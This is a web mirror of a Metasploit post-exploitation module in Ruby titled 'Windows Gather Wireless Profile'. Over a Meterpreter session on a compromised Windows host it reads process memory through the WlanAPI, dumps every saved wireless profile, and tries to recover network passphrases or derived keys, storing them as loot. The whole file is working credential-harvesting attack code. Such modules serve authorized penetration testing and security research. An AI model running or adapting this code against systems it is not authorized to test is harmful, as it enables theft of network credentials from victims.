Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/wlan/wlan_profile.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Gather Wireless Profile',
14
'Description' => %q{
15
This module extracts saved Wireless LAN profiles. It will also try to decrypt
16
the network key material. Behavior is slightly different between OS versions
17
when it comes to WPA. In Windows Vista/7 we will get the passphrase. In
18
Windows XP we will get the PBKDF2 derived key.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => ['theLightCosine'],
22
'Platform' => [ 'win' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
stdapi_railgun_api
28
stdapi_sys_process_attach
29
stdapi_sys_process_getpid
30
]
31
}
32
},
33
'Notes' => {
34
'Stability' => [CRASH_SAFE],
35
'SideEffects' => [],
36
'Reliability' => []
37
}
38
)
39
)
40
end
41
42
def run
43
# Opens memory access into the host process
44
mypid = client.sys.process.getpid
45
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
46
@wlanapi = client.railgun.wlanapi
47
wlan_info = "Wireless LAN Profile Information \n"
48
wlan_handle = open_handle
49
unless wlan_handle
50
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
51
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
52
return
53
end
54
wlan_iflist = enum_interfaces(wlan_handle)
55
56
if wlan_iflist.empty?
57
print_status('No wireless interfaces')
58
return
59
end
60
61
# Take each enumerated interface and gets the profile information available on each one
62
wlan_iflist.each do |interface|
63
wlan_profiles = enum_profiles(wlan_handle, interface['guid'])
64
guid = guid_to_string(interface['guid'])
65
66
# Store all the information to be saved as loot
67
wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n"
68
wlan_profiles.each do |profile|
69
wlan_info << " Profile Name: #{profile['name']}\n"
70
wlan_info << profile['xml']
71
end
72
end
73
# strip the nullbytes out of the text for safe outputting to loot
74
wlan_info.gsub!(/\x00/, '')
75
print_good(wlan_info)
76
store_loot('host.windows.wlan.profiles', 'text/plain', session, wlan_info, 'wlan_profiles.txt', 'Wireless LAN Profiles')
77
78
# close the Wlan API Handle
79
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
80
if closehandle['return'] == 0
81
print_status('WlanAPI Handle Closed Successfully')
82
else
83
print_error('There was an error closing the Handle')
84
end
85
end
86
87
def open_handle
88
begin
89
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
90
rescue StandardError
91
return nil
92
end
93
return wlhandle['phClientHandle']
94
end
95
96
def enum_interfaces(wlan_handle)
97
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
98
pointer = iflist['ppInterfaceList']
99
numifs = @host_process.memory.read(pointer, 4)
100
numifs = numifs.unpack('V')[0]
101
interfaces = []
102
return [] if numifs.nil?
103
104
# Set the pointer ahead to the first element in the array
105
pointer = (pointer + 8)
106
(1..numifs).each do |_i|
107
interface = {}
108
# Read the GUID (16 bytes)
109
interface['guid'] = @host_process.memory.read(pointer, 16)
110
pointer = (pointer + 16)
111
# Read the description(up to 512 bytes)
112
interface['description'] = @host_process.memory.read(pointer, 512)
113
pointer = (pointer + 512)
114
# Read the state of the interface (4 bytes)
115
state = @host_process.memory.read(pointer, 4)
116
pointer = (pointer + 4)
117
118
# Turn the state into human readable form
119
state = state.unpack('V')[0]
120
case state
121
when 0
122
interface['state'] = 'The interface is not ready to operate.'
123
when 1
124
interface['state'] = 'The interface is connected to a network.'
125
when 2
126
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
127
when 3
128
interface['state'] = 'The interface is disconnecting from the current network.'
129
when 4
130
interface['state'] = 'The interface is not connected to any network.'
131
when 5
132
interface['state'] = 'The interface is attempting to associate with a network.'
133
when 6
134
interface['state'] = 'Auto configuration is discovering the settings for the network.'
135
when 7
136
interface['state'] = 'The interface is in the process of authenticating.'
137
else
138
interface['state'] = 'Unknown State'
139
end
140
interfaces << interface
141
end
142
return interfaces
143
end
144
145
def enum_profiles(wlan_handle, guid)
146
profiles = []
147
proflist = @wlanapi.WlanGetProfileList(wlan_handle, guid, nil, 4)
148
ppointer = proflist['ppProfileList']
149
numprofs = @host_process.memory.read(ppointer, 4)
150
numprofs = numprofs.unpack('V')[0]
151
ppointer = (ppointer + 8)
152
(1..numprofs).each do |_j|
153
profile = {}
154
# Read the profile name (up to 512 bytes)
155
profile['name'] = @host_process.memory.read(ppointer, 512)
156
ppointer = (ppointer + 516)
157
158
rprofile = @wlanapi.WlanGetProfile(wlan_handle, guid, profile['name'], nil, 4, 4, 4)
159
xpointer = rprofile['pstrProfileXML']
160
161
# The size of the XML string is unknown. If we read too far ahead we will cause it to break
162
# So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes
163
readsz = 1000
164
profmem = @host_process.memory.read(xpointer, readsz)
165
until profmem[/(\x00){2}/]
166
readsz = (readsz + 100)
167
profmem = @host_process.memory.read(xpointer, readsz)
168
end
169
170
# Slice off any bytes we picked up after the string terminates
171
profmem.slice!(profmem.index(/(\x00){2}/), (profmem.length - profmem.index(/(\x00){2}/)))
172
profile['xml'] = profmem
173
profiles << profile
174
end
175
return profiles
176
end
177
178
# Convert the GUID to human readable form
179
def guid_to_string(guid)
180
aguid = guid.unpack('H*')[0]
181
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
182
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
183
sguid << '-' + aguid[20, 12] + '}'
184
return sguid
185
end
186
end
187
188